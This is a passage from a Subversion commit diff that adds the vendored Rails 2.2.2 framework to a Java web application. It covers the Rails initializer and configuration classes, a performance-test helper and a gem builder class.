+        nil
+      end
+    end
+
+    def env
+      @_env ||= begin
+        require 'active_support/string_inquirer'
+        ActiveSupport::StringInquirer.new(RAILS_ENV)
+      end
+    end
+
+    def cache
+      RAILS_CACHE
+    end
+
+    def version
+      VERSION::STRING
+    end
+
+    def public_path
+      @@public_path ||= self.root ? File.join(self.root, "public") : "public"
+    end
+
+    def public_path=(path)
+      @@public_path = path
+    end
+  end
+
+  # The Initializer is responsible for processing the Rails configuration, such
+  # as setting the $LOAD_PATH, requiring the right frameworks, initializing
+  # logging, and more. It can be run either as a single command that'll just
+  # use the default configuration, like this:
+  #
+  #   Rails::Initializer.run
+  #
+  # But normally it's more interesting to pass in a custom configuration
+  # through the block running:
+  #
+  #   Rails::Initializer.run do |config|
+  #     config.frameworks -= [ :action_mailer ]
+  #   end
+  #
+  # This will use the default configuration options from Rails::Configuration,
+  # but allow for overwriting on select areas.
+  class Initializer
+    # The Configuration instance used by this Initializer instance.
+    attr_reader :configuration
+
+    # The set of loaded plugins.
+    attr_reader :loaded_plugins
+
+    # Whether or not all the gem dependencies have been met
+    attr_reader :gems_dependencies_loaded
+
+    # Runs the initializer. By default, this will invoke the #process method,
+    # which simply executes all of the initialization routines. Alternately,
+    # you can specify explicitly which initialization routine you want:
+    #
+    #   Rails::Initializer.run(:set_load_path)
+    #
+    # This is useful if you only want the load path initialized, without
+    # incurring the overhead of completely loading the entire environment.
+    def self.run(command = :process, configuration = Configuration.new)
+      yield configuration if block_given?
+      initializer = new configuration
+      initializer.send(command)
+      initializer
+    end
+
+    # Create a new Initializer instance that references the given Configuration
+    # instance.
+    def initialize(configuration)
+      @configuration = configuration
+      @loaded_plugins = []
+    end
+
+    # Sequentially step through all of the available initialization routines,
+    # in order (view execution order in source).
+    def process
+      Rails.configuration = configuration
+
+      check_ruby_version
+      install_gem_spec_stubs
+      set_load_path
+      add_gem_load_paths
+
+      require_frameworks
+      set_autoload_paths
+      add_plugin_load_paths
+      load_environment
+
+      initialize_encoding
+      initialize_database
+
+      initialize_cache
+      initialize_framework_caches
+
+      initialize_logger
+      initialize_framework_logging
+
+      initialize_dependency_mechanism
+      initialize_whiny_nils
+      initialize_temporary_session_directory
+
+      initialize_time_zone
+      initialize_i18n
+
+      initialize_framework_settings
+      initialize_framework_views
+
+      add_support_load_paths
+
+      load_gems
+      load_plugins
+
+      # pick up any gems that plugins depend on
+      add_gem_load_paths
+      load_gems
+      check_gem_dependencies
+
+      load_application_initializers
+
+      # the framework is now fully initialized
+      after_initialize
+
+      # Prepare dispatcher callbacks and run 'prepare' callbacks
+      prepare_dispatcher
+
+      # Routing must be initialized after plugins to allow the former to extend the routes
+      initialize_routing
+
+      # Observers are loaded after plugins in case Observers or observed models are modified by plugins.
+      load_observers
+
+      # Load view path cache
+      load_view_paths
+
+      # Load application classes
+      load_application_classes
+
+      # Disable dependency loading during request cycle
+      disable_dependency_loading
+
+      # Flag initialized
+      Rails.initialized = true
+    end
+
+    # Check for valid Ruby version
+    # This is done in an external file, so we can use it
+    # from the `rails` program as well without duplication.
+    def check_ruby_version
+      require 'ruby_version_check'
+    end
+
+    # If Rails is vendored and RubyGems is available, install stub GemSpecs
+    # for Rails, Active Support, Active Record, Action Pack, Action Mailer, and
+    # Active Resource. This allows Gem plugins to depend on Rails even when
+    # the Gem version of Rails shouldn't be loaded.
+    def install_gem_spec_stubs
+      unless Rails.respond_to?(:vendor_rails?)
+        abort %{Your config/boot.rb is outdated: Run "rake rails:update".}
+      end
+
+      if Rails.vendor_rails?
+        begin; require "rubygems"; rescue LoadError; return; end
+
+        stubs = %w(rails activesupport activerecord actionpack actionmailer activeresource)
+        stubs.reject! { |s| Gem.loaded_specs.key?(s) }
+
+        stubs.each do |stub|
+          Gem.loaded_specs[stub] = Gem::Specification.new do |s|
+            s.name = stub
+            s.version = Rails::VERSION::STRING
+            s.loaded_from = ""
+          end
+        end
+      end
+    end
+
+    # Set the <tt>$LOAD_PATH</tt> based on the value of
+    # Configuration#load_paths. Duplicates are removed.
+    def set_load_path
+      load_paths = configuration.load_paths + configuration.framework_paths
+      load_paths.reverse_each { |dir| $LOAD_PATH.unshift(dir) if File.directory?(dir) }
+      $LOAD_PATH.uniq!
+    end
+
+    # Set the paths from which Rails will automatically load source files, and
+    # the load_once paths.
+    def set_autoload_paths
+      ActiveSupport::Dependencies.load_paths = configuration.load_paths.uniq
+      ActiveSupport::Dependencies.load_once_paths = configuration.load_once_paths.uniq
+
+      extra = ActiveSupport::Dependencies.load_once_paths - ActiveSupport::Dependencies.load_paths
+      unless extra.empty?
+        abort <<-end_error
+          load_once_paths must be a subset of the load_paths.
+          Extra items in load_once_paths: #{extra * ','}
+        end_error
+      end
+
+      # Freeze the arrays so future modifications will fail rather than do nothing mysteriously
+      configuration.load_once_paths.freeze
+    end
+
+    # Requires all frameworks specified by the Configuration#frameworks
+    # list. By default, all frameworks (Active Record, Active Support,
+    # Action Pack, Action Mailer, and Active Resource) are loaded.
+    def require_frameworks
+      configuration.frameworks.each { |framework| require(framework.to_s) }
+    rescue LoadError => e
+      # re-raise because Mongrel would swallow it
+      raise e.to_s
+    end
+
+    # Add the load paths used by support functions such as the info controller
+    def add_support_load_paths
+    end
+
+    # Adds all load paths from plugins to the global set of load paths, so that
+    # code from plugins can be required (explicitly or automatically via ActiveSupport::Dependencies).
+    def add_plugin_load_paths
+      plugin_loader.add_plugin_load_paths
+    end
+
+    def add_gem_load_paths
+      Rails::GemDependency.add_frozen_gem_path
+      unless @configuration.gems.empty?
+        require "rubygems"
+        @configuration.gems.each { |gem| gem.add_load_paths }
+      end
+    end
+
+    def load_gems
+      @configuration.gems.each { |gem| gem.load }
+    end
+
+    def check_gem_dependencies
+      unloaded_gems = @configuration.gems.reject { |g| g.loaded? }
+      if unloaded_gems.size > 0
+        @gems_dependencies_loaded = false
+        # don't print if the gems rake tasks are being run
+        unless $rails_gem_installer
+          abort <<-end_error
+Missing these required gems:
+  #{unloaded_gems.map { |gem| "#{gem.name}  #{gem.requirement}" } * "\n  "}
+
+You're running:
+  ruby #{Gem.ruby_version} at #{Gem.ruby}
+  rubygems #{Gem::RubyGemsVersion} at #{Gem.path * ', '}
+
+Run `rake gems:install` to install the missing gems.
+          end_error
+        end
+      else
+        @gems_dependencies_loaded = true
+      end
+    end
+
+    # Loads all plugins in <tt>config.plugin_paths</tt>.  <tt>plugin_paths</tt>
+    # defaults to <tt>vendor/plugins</tt> but may also be set to a list of
+    # paths, such as
+    #   config.plugin_paths = ["#{RAILS_ROOT}/lib/plugins", "#{RAILS_ROOT}/vendor/plugins"]
+    #
+    # In the default implementation, as each plugin discovered in <tt>plugin_paths</tt> is initialized:
+    # * its +lib+ directory, if present, is added to the load path (immediately after the applications lib directory)
+    # * <tt>init.rb</tt> is evaluated, if present
+    #
+    # After all plugins are loaded, duplicates are removed from the load path.
+    # If an array of plugin names is specified in config.plugins, only those plugins will be loaded
+    # and they plugins will be loaded in that order. Otherwise, plugins are loaded in alphabetical
+    # order.
+    #
+    # if config.plugins ends contains :all then the named plugins will be loaded in the given order and all other
+    # plugins will be loaded in alphabetical order
+    def load_plugins
+      plugin_loader.load_plugins
+    end
+
+    def plugin_loader
+      @plugin_loader ||= configuration.plugin_loader.new(self)
+    end
+
+    # Loads the environment specified by Configuration#environment_path, which
+    # is typically one of development, test, or production.
+    def load_environment
+      silence_warnings do
+        return if @environment_loaded
+        @environment_loaded = true
+
+        config = configuration
+        constants = self.class.constants
+
+        eval(IO.read(configuration.environment_path), binding, configuration.environment_path)
+
+        (self.class.constants - constants).each do |const|
+          Object.const_set(const, self.class.const_get(const))
+        end
+      end
+    end
+
+    def load_observers
+      if gems_dependencies_loaded && configuration.frameworks.include?(:active_record)
+        ActiveRecord::Base.instantiate_observers
+      end
+    end
+
+    def load_view_paths
+      if configuration.frameworks.include?(:action_view)
+        ActionView::PathSet::Path.eager_load_templates! if configuration.cache_classes
+        ActionController::Base.view_paths.load if configuration.frameworks.include?(:action_controller)
+        ActionMailer::Base.template_root.load if configuration.frameworks.include?(:action_mailer)
+      end
+    end
+
+    # Eager load application classes
+    def load_application_classes
+      if configuration.cache_classes
+        configuration.eager_load_paths.each do |load_path|
+          matcher = /\A#{Regexp.escape(load_path)}(.*)\.rb\Z/
+          Dir.glob("#{load_path}/**/*.rb").sort.each do |file|
+            require_dependency file.sub(matcher, '\1')
+          end
+        end
+      end
+    end
+
+    # For Ruby 1.8, this initialization sets $KCODE to 'u' to enable the
+    # multibyte safe operations. Plugin authors supporting other encodings
+    # should override this behaviour and set the relevant +default_charset+
+    # on ActionController::Base.
+    #
+    # For Ruby 1.9, this does nothing. Specify the default encoding in the Ruby
+    # shebang line if you don't want UTF-8.
+    def initialize_encoding
+      $KCODE='u' if RUBY_VERSION < '1.9'
+    end
+
+    # This initialization routine does nothing unless <tt>:active_record</tt>
+    # is one of the frameworks to load (Configuration#frameworks). If it is,
+    # this sets the database configuration from Configuration#database_configuration
+    # and then establishes the connection.
+    def initialize_database
+      if configuration.frameworks.include?(:active_record)
+        ActiveRecord::Base.configurations = configuration.database_configuration
+        ActiveRecord::Base.establish_connection
+      end
+    end
+
+    def initialize_cache
+      unless defined?(RAILS_CACHE)
+        silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(configuration.cache_store) }
+      end
+    end
+
+    def initialize_framework_caches
+      if configuration.frameworks.include?(:action_controller)
+        ActionController::Base.cache_store ||= RAILS_CACHE
+      end
+    end
+
+    # If the RAILS_DEFAULT_LOGGER constant is already set, this initialization
+    # routine does nothing. If the constant is not set, and Configuration#logger
+    # is not +nil+, this also does nothing. Otherwise, a new logger instance
+    # is created at Configuration#log_path, with a default log level of
+    # Configuration#log_level.
+    #
+    # If the log could not be created, the log will be set to output to
+    # +STDERR+, with a log level of +WARN+.
+    def initialize_logger
+      # if the environment has explicitly defined a logger, use it
+      return if Rails.logger
+
+      unless logger = configuration.logger
+        begin
+          logger = ActiveSupport::BufferedLogger.new(configuration.log_path)
+          logger.level = ActiveSupport::BufferedLogger.const_get(configuration.log_level.to_s.upcase)
+          if configuration.environment == "production"
+            logger.auto_flushing = false
+          end
+        rescue StandardError => e
+          logger = ActiveSupport::BufferedLogger.new(STDERR)
+          logger.level = ActiveSupport::BufferedLogger::WARN
+          logger.warn(
+            "Rails Error: Unable to access log file. Please ensure that #{configuration.log_path} exists and is chmod 0666. " +
+            "The log level has been raised to WARN and the output directed to STDERR until the problem is fixed."
+          )
+        end
+      end
+
+      silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
+    end
+
+    # Sets the logger for Active Record, Action Controller, and Action Mailer
+    # (but only for those frameworks that are to be loaded). If the framework's
+    # logger is already set, it is not changed, otherwise it is set to use
+    # RAILS_DEFAULT_LOGGER.
+    def initialize_framework_logging
+      for framework in ([ :active_record, :action_controller, :action_mailer ] & configuration.frameworks)
+        framework.to_s.camelize.constantize.const_get("Base").logger ||= Rails.logger
+      end
+
+      ActiveSupport::Dependencies.logger ||= Rails.logger
+      Rails.cache.logger ||= Rails.logger
+    end
+
+    # Sets +ActionController::Base#view_paths+ and +ActionMailer::Base#template_root+
+    # (but only for those frameworks that are to be loaded). If the framework's
+    # paths have already been set, it is not changed, otherwise it is
+    # set to use Configuration#view_path.
+    def initialize_framework_views
+      if configuration.frameworks.include?(:action_view)
+        view_path = ActionView::PathSet::Path.new(configuration.view_path, false)
+        ActionMailer::Base.template_root ||= view_path if configuration.frameworks.include?(:action_mailer)
+        ActionController::Base.view_paths = view_path if configuration.frameworks.include?(:action_controller) && ActionController::Base.view_paths.empty?
+      end
+    end
+
+    # If Action Controller is not one of the loaded frameworks (Configuration#frameworks)
+    # this does nothing. Otherwise, it loads the routing definitions and sets up
+    # loading module used to lazily load controllers (Configuration#controller_paths).
+    def initialize_routing
+      return unless configuration.frameworks.include?(:action_controller)
+      ActionController::Routing.controller_paths = configuration.controller_paths
+      ActionController::Routing::Routes.configuration_file = configuration.routes_configuration_file
+      ActionController::Routing::Routes.reload
+    end
+
+    # Sets the dependency loading mechanism based on the value of
+    # Configuration#cache_classes.
+    def initialize_dependency_mechanism
+      ActiveSupport::Dependencies.mechanism = configuration.cache_classes ? :require : :load
+    end
+
+    # Loads support for "whiny nil" (noisy warnings when methods are invoked
+    # on +nil+ values) if Configuration#whiny_nils is true.
+    def initialize_whiny_nils
+      require('active_support/whiny_nil') if configuration.whiny_nils
+    end
+
+    def initialize_temporary_session_directory
+      if configuration.frameworks.include?(:action_controller)
+        session_path = "#{configuration.root_path}/tmp/sessions/"
+        ActionController::Base.session_options[:tmpdir] = File.exist?(session_path) ? session_path : Dir::tmpdir
+      end
+    end
+
+    # Sets the default value for Time.zone, and turns on ActiveRecord::Base#time_zone_aware_attributes.
+    # If assigned value cannot be matched to a TimeZone, an exception will be raised.
+    def initialize_time_zone
+      if configuration.time_zone
+        zone_default = Time.__send__(:get_zone, configuration.time_zone)
+        unless zone_default
+          raise %{Value assigned to config.time_zone not recognized. Run "rake -D time" for a list of tasks for finding appropriate time zone names.}
+        end
+        Time.zone_default = zone_default
+        if configuration.frameworks.include?(:active_record)
+          ActiveRecord::Base.time_zone_aware_attributes = true
+          ActiveRecord::Base.default_timezone = :utc
+        end
+      end
+    end
+
+    # Set the i18n configuration from config.i18n but special-case for the load_path which should be 
+    # appended to what's already set instead of overwritten.
+    def initialize_i18n
+      configuration.i18n.each do |setting, value|
+        if setting == :load_path
+          I18n.load_path += value
+        else
+          I18n.send("#{setting}=", value)
+        end
+      end
+    end
+
+    # Initializes framework-specific settings for each of the loaded frameworks
+    # (Configuration#frameworks). The available settings map to the accessors
+    # on each of the corresponding Base classes.
+    def initialize_framework_settings
+      configuration.frameworks.each do |framework|
+        base_class = framework.to_s.camelize.constantize.const_get("Base")
+
+        configuration.send(framework).each do |setting, value|
+          base_class.send("#{setting}=", value)
+        end
+      end
+      configuration.active_support.each do |setting, value|
+        ActiveSupport.send("#{setting}=", value)
+      end
+    end
+
+    # Fires the user-supplied after_initialize block (Configuration#after_initialize)
+    def after_initialize
+      if gems_dependencies_loaded
+        configuration.after_initialize_blocks.each do |block|
+          block.call
+        end
+      end
+    end
+
+    def load_application_initializers
+      if gems_dependencies_loaded
+        Dir["#{configuration.root_path}/config/initializers/**/*.rb"].sort.each do |initializer|
+          load(initializer)
+        end
+      end
+    end
+
+    def prepare_dispatcher
+      return unless configuration.frameworks.include?(:action_controller)
+      require 'dispatcher' unless defined?(::Dispatcher)
+      Dispatcher.define_dispatcher_callbacks(configuration.cache_classes)
+      Dispatcher.new(Rails.logger).send :run_callbacks, :prepare_dispatch
+    end
+
+    def disable_dependency_loading
+      if configuration.cache_classes && !configuration.dependency_loading
+        ActiveSupport::Dependencies.unhook!
+      end
+    end
+  end
+
+  # The Configuration class holds all the parameters for the Initializer and
+  # ships with defaults that suites most Rails applications. But it's possible
+  # to overwrite everything. Usually, you'll create an Configuration file
+  # implicitly through the block running on the Initializer, but it's also
+  # possible to create the Configuration instance in advance and pass it in
+  # like this:
+  #
+  #   config = Rails::Configuration.new
+  #   Rails::Initializer.run(:process, config)
+  class Configuration
+    # The application's base directory.
+    attr_reader :root_path
+
+    # A stub for setting options on ActionController::Base.
+    attr_accessor :action_controller
+
+    # A stub for setting options on ActionMailer::Base.
+    attr_accessor :action_mailer
+
+    # A stub for setting options on ActionView::Base.
+    attr_accessor :action_view
+
+    # A stub for setting options on ActiveRecord::Base.
+    attr_accessor :active_record
+
+    # A stub for setting options on ActiveResource::Base.
+    attr_accessor :active_resource
+
+    # A stub for setting options on ActiveSupport.
+    attr_accessor :active_support
+
+    # Whether or not classes should be cached (set to false if you want
+    # application classes to be reloaded on each request)
+    attr_accessor :cache_classes
+
+    # The list of paths that should be searched for controllers. (Defaults
+    # to <tt>app/controllers</tt> and <tt>components</tt>.)
+    attr_accessor :controller_paths
+
+    # The path to the database configuration file to use. (Defaults to
+    # <tt>config/database.yml</tt>.)
+    attr_accessor :database_configuration_file
+
+    # The path to the routes configuration file to use. (Defaults to
+    # <tt>config/routes.rb</tt>.)
+    attr_accessor :routes_configuration_file
+
+    # The list of rails framework components that should be loaded. (Defaults
+    # to <tt>:active_record</tt>, <tt>:action_controller</tt>,
+    # <tt>:action_view</tt>, <tt>:action_mailer</tt>, and
+    # <tt>:active_resource</tt>).
+    attr_accessor :frameworks
+
+    # An array of additional paths to prepend to the load path. By default,
+    # all +app+, +lib+, +vendor+ and mock paths are included in this list.
+    attr_accessor :load_paths
+
+    # An array of paths from which Rails will automatically load from only once.
+    # All elements of this array must also be in +load_paths+.
+    attr_accessor :load_once_paths
+
+    # An array of paths from which Rails will eager load on boot if cache
+    # classes is enabled. All elements of this array must also be in
+    # +load_paths+.
+    attr_accessor :eager_load_paths
+
+    # The log level to use for the default Rails logger. In production mode,
+    # this defaults to <tt>:info</tt>. In development mode, it defaults to
+    # <tt>:debug</tt>.
+    attr_accessor :log_level
+
+    # The path to the log file to use. Defaults to log/#{environment}.log
+    # (e.g. log/development.log or log/production.log).
+    attr_accessor :log_path
+
+    # The specific logger to use. By default, a logger will be created and
+    # initialized using #log_path and #log_level, but a programmer may
+    # specifically set the logger to use via this accessor and it will be
+    # used directly.
+    attr_accessor :logger
+
+    # The specific cache store to use. By default, the ActiveSupport::Cache::Store will be used.
+    attr_accessor :cache_store
+
+    # The root of the application's views. (Defaults to <tt>app/views</tt>.)
+    attr_accessor :view_path
+
+    # Set to +true+ if you want to be warned (noisily) when you try to invoke
+    # any method of +nil+. Set to +false+ for the standard Ruby behavior.
+    attr_accessor :whiny_nils
+
+    # The list of plugins to load. If this is set to <tt>nil</tt>, all plugins will
+    # be loaded. If this is set to <tt>[]</tt>, no plugins will be loaded. Otherwise,
+    # plugins will be loaded in the order specified.
+    attr_reader :plugins
+    def plugins=(plugins)
+      @plugins = plugins.nil? ? nil : plugins.map { |p| p.to_sym }
+    end
+
+    # The path to the root of the plugins directory. By default, it is in
+    # <tt>vendor/plugins</tt>.
+    attr_accessor :plugin_paths
+
+    # The classes that handle finding the desired plugins that you'd like to load for
+    # your application. By default it is the Rails::Plugin::FileSystemLocator which finds
+    # plugins to load in <tt>vendor/plugins</tt>. You can hook into gem location by subclassing
+    # Rails::Plugin::Locator and adding it onto the list of <tt>plugin_locators</tt>.
+    attr_accessor :plugin_locators
+
+    # The class that handles loading each plugin. Defaults to Rails::Plugin::Loader, but
+    # a sub class would have access to fine grained modification of the loading behavior. See
+    # the implementation of Rails::Plugin::Loader for more details.
+    attr_accessor :plugin_loader
+
+    # Enables or disables plugin reloading.  You can get around this setting per plugin.
+    # If <tt>reload_plugins?</tt> is false, add this to your plugin's <tt>init.rb</tt>
+    # to make it reloadable:
+    #
+    #   ActiveSupport::Dependencies.load_once_paths.delete lib_path
+    #
+    # If <tt>reload_plugins?</tt> is true, add this to your plugin's <tt>init.rb</tt>
+    # to only load it once:
+    #
+    #   ActiveSupport::Dependencies.load_once_paths << lib_path
+    #
+    attr_accessor :reload_plugins
+
+    # Returns true if plugin reloading is enabled.
+    def reload_plugins?
+      !!@reload_plugins
+    end
+
+    # Enables or disables dependency loading during the request cycle. Setting
+    # <tt>dependency_loading</tt> to true will allow new classes to be loaded
+    # during a request. Setting it to false will disable this behavior.
+    #
+    # Those who want to run in a threaded environment should disable this
+    # option and eager load or require all there classes on initialization.
+    #
+    # If <tt>cache_classes</tt> is disabled, dependency loaded will always be
+    # on.
+    attr_accessor :dependency_loading
+
+    # An array of gems that this rails application depends on.  Rails will automatically load
+    # these gems during installation, and allow you to install any missing gems with:
+    #
+    #   rake gems:install
+    #
+    # You can add gems with the #gem method.
+    attr_accessor :gems
+
+    # Adds a single Gem dependency to the rails application. By default, it will require
+    # the library with the same name as the gem. Use :lib to specify a different name.
+    #
+    #   # gem 'aws-s3', '>= 0.4.0'
+    #   # require 'aws/s3'
+    #   config.gem 'aws-s3', :lib => 'aws/s3', :version => '>= 0.4.0', \
+    #     :source => "http://code.whytheluckystiff.net"
+    #
+    # To require a library be installed, but not attempt to load it, pass :lib => false
+    #
+    #   config.gem 'qrp', :version => '0.4.1', :lib => false
+    def gem(name, options = {})
+      @gems << Rails::GemDependency.new(name, options)
+    end
+
+    # Deprecated options:
+    def breakpoint_server(_ = nil)
+      $stderr.puts %(
+      *******************************************************************
+      * config.breakpoint_server has been deprecated and has no effect. *
+      *******************************************************************
+      )
+    end
+    alias_method :breakpoint_server=, :breakpoint_server
+
+    # Sets the default +time_zone+.  Setting this will enable +time_zone+
+    # awareness for Active Record models and set the Active Record default
+    # timezone to <tt>:utc</tt>.
+    attr_accessor :time_zone
+
+    # Accessor for i18n settings.
+    attr_accessor :i18n
+
+    # Create a new Configuration instance, initialized with the default
+    # values.
+    def initialize
+      set_root_path!
+
+      self.frameworks                   = default_frameworks
+      self.load_paths                   = default_load_paths
+      self.load_once_paths              = default_load_once_paths
+      self.eager_load_paths             = default_eager_load_paths
+      self.log_path                     = default_log_path
+      self.log_level                    = default_log_level
+      self.view_path                    = default_view_path
+      self.controller_paths             = default_controller_paths
+      self.cache_classes                = default_cache_classes
+      self.dependency_loading           = default_dependency_loading
+      self.whiny_nils                   = default_whiny_nils
+      self.plugins                      = default_plugins
+      self.plugin_paths                 = default_plugin_paths
+      self.plugin_locators              = default_plugin_locators
+      self.plugin_loader                = default_plugin_loader
+      self.database_configuration_file  = default_database_configuration_file
+      self.routes_configuration_file    = default_routes_configuration_file
+      self.gems                         = default_gems
+      self.i18n                         = default_i18n
+
+      for framework in default_frameworks
+        self.send("#{framework}=", Rails::OrderedOptions.new)
+      end
+      self.active_support = Rails::OrderedOptions.new
+    end
+
+    # Set the root_path to RAILS_ROOT and canonicalize it.
+    def set_root_path!
+      raise 'RAILS_ROOT is not set' unless defined?(::RAILS_ROOT)
+      raise 'RAILS_ROOT is not a directory' unless File.directory?(::RAILS_ROOT)
+
+      @root_path =
+        # Pathname is incompatible with Windows, but Windows doesn't have
+        # real symlinks so File.expand_path is safe.
+        if RUBY_PLATFORM =~ /(:?mswin|mingw)/
+          File.expand_path(::RAILS_ROOT)
+
+        # Otherwise use Pathname#realpath which respects symlinks.
+        else
+          Pathname.new(::RAILS_ROOT).realpath.to_s
+        end
+
+      Object.const_set(:RELATIVE_RAILS_ROOT, ::RAILS_ROOT.dup) unless defined?(::RELATIVE_RAILS_ROOT)
+      ::RAILS_ROOT.replace @root_path
+    end
+
+    # Enable threaded mode. Allows concurrent requests to controller actions and
+    # multiple database connections. Also disables automatic dependency loading
+    # after boot
+    def threadsafe!
+      self.cache_classes = true
+      self.dependency_loading = false
+      self.action_controller.allow_concurrency = true
+      self
+    end
+
+    # Loads and returns the contents of the #database_configuration_file. The
+    # contents of the file are processed via ERB before being sent through
+    # YAML::load.
+    def database_configuration
+      require 'erb'
+      YAML::load(ERB.new(IO.read(database_configuration_file)).result)
+    end
+
+    # The path to the current environment's file (<tt>development.rb</tt>, etc.). By
+    # default the file is at <tt>config/environments/#{environment}.rb</tt>.
+    def environment_path
+      "#{root_path}/config/environments/#{environment}.rb"
+    end
+
+    # Return the currently selected environment. By default, it returns the
+    # value of the RAILS_ENV constant.
+    def environment
+      ::RAILS_ENV
+    end
+
+    # Adds a block which will be executed after rails has been fully initialized.
+    # Useful for per-environment configuration which depends on the framework being
+    # fully initialized.
+    def after_initialize(&after_initialize_block)
+      after_initialize_blocks << after_initialize_block if after_initialize_block
+    end
+
+    # Returns the blocks added with Configuration#after_initialize
+    def after_initialize_blocks
+      @after_initialize_blocks ||= []
+    end
+
+    # Add a preparation callback that will run before every request in development
+    # mode, or before the first request in production.
+    #
+    # See Dispatcher#to_prepare.
+    def to_prepare(&callback)
+      after_initialize do
+        require 'dispatcher' unless defined?(::Dispatcher)
+        Dispatcher.to_prepare(&callback)
+      end
+    end
+
+    def builtin_directories
+      # Include builtins only in the development environment.
+      (environment == 'development') ? Dir["#{RAILTIES_PATH}/builtin/*/"] : []
+    end
+
+    def framework_paths
+      paths = %w(railties railties/lib activesupport/lib)
+      paths << 'actionpack/lib' if frameworks.include? :action_controller or frameworks.include? :action_view
+
+      [:active_record, :action_mailer, :active_resource, :action_web_service].each do |framework|
+        paths << "#{framework.to_s.gsub('_', '')}/lib" if frameworks.include? framework
+      end
+
+      paths.map { |dir| "#{framework_root_path}/#{dir}" }.select { |dir| File.directory?(dir) }
+    end
+
+    private
+      def framework_root_path
+        defined?(::RAILS_FRAMEWORK_ROOT) ? ::RAILS_FRAMEWORK_ROOT : "#{root_path}/vendor/rails"
+      end
+
+      def default_frameworks
+        [ :active_record, :action_controller, :action_view, :action_mailer, :active_resource ]
+      end
+
+      def default_load_paths
+        paths = []
+
+        # Add the old mock paths only if the directories exists
+        paths.concat(Dir["#{root_path}/test/mocks/#{environment}"]) if File.exists?("#{root_path}/test/mocks/#{environment}")
+
+        # Add the app's controller directory
+        paths.concat(Dir["#{root_path}/app/controllers/"])
+
+        # Then components subdirectories.
+        paths.concat(Dir["#{root_path}/components/[_a-z]*"])
+
+        # Followed by the standard includes.
+        paths.concat %w(
+          app
+          app/models
+          app/controllers
+          app/helpers
+          app/services
+          components
+          config
+          lib
+          vendor
+        ).map { |dir| "#{root_path}/#{dir}" }.select { |dir| File.directory?(dir) }
+
+        paths.concat builtin_directories
+      end
+
+      # Doesn't matter since plugins aren't in load_paths yet.
+      def default_load_once_paths
+        []
+      end
+
+      def default_eager_load_paths
+        %w(
+          app/models
+          app/controllers
+          app/helpers
+        ).map { |dir| "#{root_path}/#{dir}" }.select { |dir| File.directory?(dir) }
+      end
+
+      def default_log_path
+        File.join(root_path, 'log', "#{environment}.log")
+      end
+
+      def default_log_level
+        environment == 'production' ? :info : :debug
+      end
+
+      def default_database_configuration_file
+        File.join(root_path, 'config', 'database.yml')
+      end
+
+      def default_routes_configuration_file
+        File.join(root_path, 'config', 'routes.rb')
+      end
+
+      def default_view_path
+        File.join(root_path, 'app', 'views')
+      end
+
+      def default_controller_paths
+        paths = [File.join(root_path, 'app', 'controllers')]
+        paths.concat builtin_directories
+        paths
+      end
+
+      def default_dependency_loading
+        true
+      end
+
+      def default_cache_classes
+        true
+      end
+
+      def default_whiny_nils
+        false
+      end
+
+      def default_plugins
+        nil
+      end
+
+      def default_plugin_paths
+        ["#{root_path}/vendor/plugins"]
+      end
+
+      def default_plugin_locators
+        locators = []
+        locators << Plugin::GemLocator if defined? Gem
+        locators << Plugin::FileSystemLocator
+      end
+
+      def default_plugin_loader
+        Plugin::Loader
+      end
+
+      def default_cache_store
+        if File.exist?("#{root_path}/tmp/cache/")
+          [ :file_store, "#{root_path}/tmp/cache/" ]
+        else
+          :memory_store
+        end
+      end
+
+      def default_gems
+        []
+      end
+
+      def default_i18n
+        i18n = Rails::OrderedOptions.new
+        i18n.load_path = []
+
+        if File.exist?(File.join(RAILS_ROOT, 'config', 'locales'))
+          i18n.load_path << Dir[File.join(RAILS_ROOT, 'config', 'locales', '*.{rb,yml}')]
+          i18n.load_path.flatten!
+        end
+
+        i18n
+      end
+  end
+end
+
+# Needs to be duplicated from Active Support since its needed before Active
+# Support is available. Here both Options and Hash are namespaced to prevent
+# conflicts with other implementations AND with the classes residing in Active Support.
+class Rails::OrderedOptions < Array #:nodoc:
+  def []=(key, value)
+    key = key.to_sym
+
+    if pair = find_pair(key)
+      pair.pop
+      pair << value
+    else
+      self << [key, value]
+    end
+  end
+
+  def [](key)
+    pair = find_pair(key.to_sym)
+    pair ? pair.last : nil
+  end
+
+  def method_missing(name, *args)
+    if name.to_s =~ /(.*)=$/
+      self[$1.to_sym] = args.first
+    else
+      self[name]
+    end
+  end
+
+  private
+    def find_pair(key)
+      self.each { |i| return i if i.first == key }
+      return false
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/performance_test_help.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/performance_test_help.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/performance_test_help.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+require 'action_controller/performance_test'
+
+ActionController::Base.perform_caching = true
+ActiveSupport::Dependencies.mechanism = :require
+Rails.logger.level = ActiveSupport::BufferedLogger::INFO

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/gem_builder.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/gem_builder.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/gem_builder.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+require 'rubygems'
+require 'rubygems/installer'
+
+module Rails
+  
+  # this class hijacks the functionality of Gem::Installer by overloading its 
+  # initializer to only provide the information needed by 
+  # Gem::Installer#build_extensions (which happens to be what we have)
+  class GemBuilder < Gem::Installer
+
+    def initialize(spec, gem_dir)
+      @spec    = spec
+      @gem_dir = gem_dir
+    end
+
+    # silence the underlying builder
+    def say(message)
+    end
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/gem_dependency.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/gem_dependency.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/gem_dependency.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,251 @@
+require 'rails/vendor_gem_source_index'
+
+module Gem
